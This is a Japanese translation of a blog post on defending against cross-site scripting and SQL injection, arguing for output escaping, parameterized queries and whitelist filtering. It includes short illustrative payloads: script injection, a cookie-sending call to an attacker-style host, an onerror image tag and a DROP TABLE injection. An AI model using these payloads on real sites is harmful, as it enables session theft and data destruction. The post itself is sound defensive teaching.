入力をサニタイズするな。出力をエスケープしろ。
原文は Ben Hoyt により に公開されました。 このブログを購読する
開発者の間では、クロスサイトスクリプティング攻撃を防ぐために「ユーザー入力をサニタイズする」という話が時々出ます。善意からのことではありますが、これは誤った安心感を生み、時には何の問題もない入力まで台無しにしてしまいます。
クロスサイトスクリプティングはどうやって起こるのか
ウェブサイトがクロスサイトスクリプティング(XSS)に対して脆弱になるのは、ユーザーが入力した情報を、ページのHTMLの中にそのまま繰り返し表示してしまう場合です。これにより、軽微な問題(ページレイアウトを崩すHTML)から重大な問題(ユーザーのログインクッキーを攻撃者のサイトに送信するJavaScript)まで引き起こされる可能性があります。
具体的な例を見てみましょう。
- NaiveSiteでは名前を入力でき、それがプロフィールページにそのまま表示されます。
- Billy the Kidは自分の名前を
Billy <script>alert('Hello Bob!')</script>として入力します。 - Billyのプロフィールページを訪れた人は、エスケープされていない
scriptタグを含むHTMLを受け取り、ブラウザがそれを実行してしまいます。 - もし
alert()がsendCookies('https://billy.com/cookie-monster')のような、より悪意のあるものに置き換えられていたら、Billyは気づかない訪問者のログイン情報を収集できてしまうかもしれません。
補足:実際にはそこまで単純ではありません。ログインクッキーは通常HttpOnlyとしてマークされており、JavaScriptからはアクセスできないからです。とはいえ、ここでいうNaiveSiteはXSSのミスだけでなく、クッキーの設定でもミスをしている可能性が高いでしょう。
なぜ入力フィルタリングはあまり良い考えではないのか
開発者は「入力フィルタリング」や「入力のサニタイズ」について聞きかじっているので、保存する前に名前から安全でないHTML文字である<>&を取り除くコードを書きます。これで解決!
しかし、これには2つの問題があります。1つは、夫婦がBob & Jane SmithとしてNaiveSiteに登録したとしても、フィルタリングコードが&を取り除いてしまうため、突然Bobは一人ぼっちになり、ミドルネームがJaneになってしまうことです。
あるいは、フィルタがもう少し厳しくて'や"まで取り除く場合、Bill O’Brienのような人はBill OBrienになってしまいます。人の名前を台無しにするのは印象が良くありません。
おそらくより重要なのは、これが誤った安心感を与えることです。「安全でない」とはどういう意味でしょうか?どんな文脈ででしょうか?確かに<>&はHTMLにおいて安全でない文字ですが、CSSやJSON、SQL、さらにはシェルスクリプトではどうでしょうか?それらはまったく異なる「安全でない文字」のセットを持っています。
例えば、NaiveSiteには次のようなPHPテンプレートがあるかもしれません。
<html>
...
<script>
var name = "<?=$name?>";
</script>攻撃者が名前を"; badFunc(); "のようにダブルクォートを含むものに設定すると、ユーザーの名前を表示するNaiveSiteのあらゆるページ(ログインしていれば、おそらくすべてのページ)で任意のJavaScriptを実行できてしまいます。
この種の別の例がSQLインジェクションです。これはクロスサイトスクリプティングと密接に関連した攻撃です。NaiveSiteはMySQLで動いており、ユーザーを次のように検索しています。
$query = "SELECT * FROM users WHERE name = '{$name}'"Robert'); DROP TABLE users;という名前の少年が現れると、NaiveSiteのユーザーデータベース全体が削除されてしまいます。おっと!
ちなみに、xkcdの漫画の中で母親は「データベース入力をサニタイズする方法を学んだことを願うわ」と言っています。これはやや紛らわしいですが、Randallに好意的に解釈して、彼が本当に言いたかったのは「データベースのパラメータをエスケープしなさい」ということだったのでしょう。
要するに、「危険な文字」を取り除こうとしても意味がないのです。ある文脈では危険な文字も、別の文脈ではまったく安全だからです。
代わりに出力をエスケープする
どんな文字が危険かを知っているのは、特定の文脈で出力を行うコードだけです。
したがって、より良いアプローチは、ユーザーが入力した名前をそのまま保存し、テンプレートシステム側でHTMLを出力する際にはHTMLエスケープを、JSONやJavaScriptを出力する際には適切にJSONエスケープを行うことです。
そしてもちろん、SQLエンジンのパラメータ化クエリ機能を使って、SQLを構築する際に変数が適切にエスケープされるようにします。
$stmt = $db->prepare('SELECT * FROM users WHERE name = ?');
$stmt->bind_param('s', $name);これは「コンテキストに応じたエスケープ(contextual escaping)」と呼ばれることもあります。もしGoのhtml/templateパッケージを使っているなら、HTML、CSS、JavaScriptに対する自動的なコンテキスト依存のエスケープが得られます。他の多くのテンプレートシステムでも、少なくとも自動的なHTMLエスケープは提供されています。例えばReactやJinja2、Railsのテンプレートなどがそうです。
でも、生の入力を使いたい場合は?
やっかいなケースの一つは、アプリの目的自体が、ユーザーに表示用のHTMLやMarkdownを入力させることである場合です。この場合、出力時にエスケープすることはできません。ユーザーにリンクや画像、見出しなどを追加させること自体が目的なのですから。
そのため、別のアプローチを取る必要があります。Markdownを使っている場合は、次のどちらかが選べます。
- 純粋なMarkdownのみの入力を許可し、レンダリング時にそれをHTMLに変換する(多くのMarkdownライブラリはデフォルトで生のHTMLを許可するので、必ず無効にしてください)。これが最も安全な選択肢ですが、制約も最も多くなります。
- Markdown内でHTMLの使用を許可するが、
<a href="...">や<img src="...">のような、許可されたタグと属性のホワイトリストのみに制限する。Stack ExchangeもGitHubも、この2つ目のアプローチを取っています。
Markdownを使わず、ユーザーに直接HTMLを入力させたい場合は、2つ目の選択肢しかありません。ホワイトリストを使ってフィルタリングする必要があります。これは思っているよりも正しく実装するのが難しく(例えば<img src="x" onerror="badFunc()">のようなケース)、成熟していてセキュリティが検証されたDOMPurifyのようなライブラリを必ず使ってください。
つまり、生のユーザー入力をそのまま「出力」する必要がある場合には、制限の厳しいホワイトリストに基づいて入力を慎重にフィルタリングし、その結果をデータベースに保存します。出力する際には、エスケープせずに保存されたままのものを出力します。
SQLインジェクションにおける同様のケースは、ユーザーが任意のSQLクエリを入力できるデータ可視化ツールを構築する場合でしょう。SELECTクエリは許可したいが、データを変更するクエリは許可したくない、といった場合です。このようなケースでは、適切なSQLパーサー(例えばこのようなもの)を使って、整形式のSELECTクエリであることを保証するのが最善です。ただし、これを正しく行うのは簡単ではないので、必ずセキュリティレビューを受けてください。
バリデーションはどうなのか
入力のサニタイズはたいてい良い考えではありませんが、入力のバリデーションは良いことです。
例えば、フォームのフィールドを解析する際に、数値フィールドに数値以外が入っていたり、メールアドレスに@が含まれていなかったり、「投稿ステータス」のドロップダウンがdraft、published、archivedのいずれかでなければならない場合などは、ぜひバリデーションを行い、無効であればエラーを返してください。
優れたウェブフォームのバリデーションは、ユーザーが何を修正すべきかを正確に分かるように、エラーをインラインで表示します。

バリデーションは少なくともバックエンドで行う必要があります。そうしなければ、攻撃者がフロントエンドのバリデーションを回避して、エンドポイントに直接不正なデータをPOSTできてしまうからです。加えて、サーバーへの往復なしにエラーをよりリアルタイムに表示するために、フロントエンドでも早い段階でバリデーションを行うこともできます。
さらに読む
OWASPは、エスケープに関する多くの追加情報を含む、Cross Site Scripting PreventionとSQL Injection Preventionに関する2つのチートシートを公開しています。
また、Stack Overflowには「How can I sanitize user input with PHP?」への回答があり、ややPHPに特化していますが、簡潔で役立つと感じました。そこではPHPのmagic quotesに関するページへのリンクがあり、これは悪いアイデアで実際にPHP 5.4で削除されたものですが、そこでの議論は上記で書いた内容と非常によく一致しています。
この記事についてご意見があれば、ぜひご連絡ください!また、Hacker Newsやprogramming redditのコメントもご覧ください。
記事をランダムに読む
コメント
ログインしてコメントする